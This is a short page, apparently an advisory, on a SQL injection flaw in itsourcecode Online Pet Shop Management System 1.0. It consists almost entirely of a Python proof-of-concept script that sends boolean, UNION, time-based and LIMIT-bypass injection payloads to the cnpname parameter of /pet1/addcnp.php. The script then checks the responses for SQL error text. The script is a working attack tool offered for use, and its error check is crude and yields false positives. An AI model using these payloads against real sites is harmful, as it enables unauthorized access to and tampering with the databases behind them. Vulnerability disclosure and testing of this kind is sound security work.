CVE-2025-14637 itsourcecode在线宠物店管理系统SQL注入漏洞

import requests import sys # CVE-2025-14637 SQL Injection PoC # Target: itsourcecode Online Pet Shop Management System 1.0 # File: /pet1/addcnp.php # Parameter: cnpname def exploit_sqli(target_url): """Exploit SQL injection vulnerability in addcnp.php""" # Normal request to check if endpoint exists normal_data = { 'cnpname': 'TestCategory' } # SQL Injection payloads for testing payloads = [ "' OR '1'='1", # Basic boolean-based injection "' UNION SELECT NULL--", # UNION-based injection "' AND SLEEP(5)--", # Time-based blind injection "' OR 1=1 LIMIT 1--" # Authentication bypass attempt ] print(f"[*] Target: {target_url}") print(f"[*] Testing SQL injection on cnpname parameter\n") for i, payload in enumerate(payloads, 1): print(f"[*] Testing payload {i}: {payload}") inject_data = { 'cnpname': payload } try: response = requests.post(target_url, data=inject_data, timeout=10) # Check for SQL error indicators if 'mysql' in response.text.lower() or 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Potential SQL injection detected!") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] No obvious injection detected") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print() if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target.com/pet1/addcnp.php" exploit_sqli(target)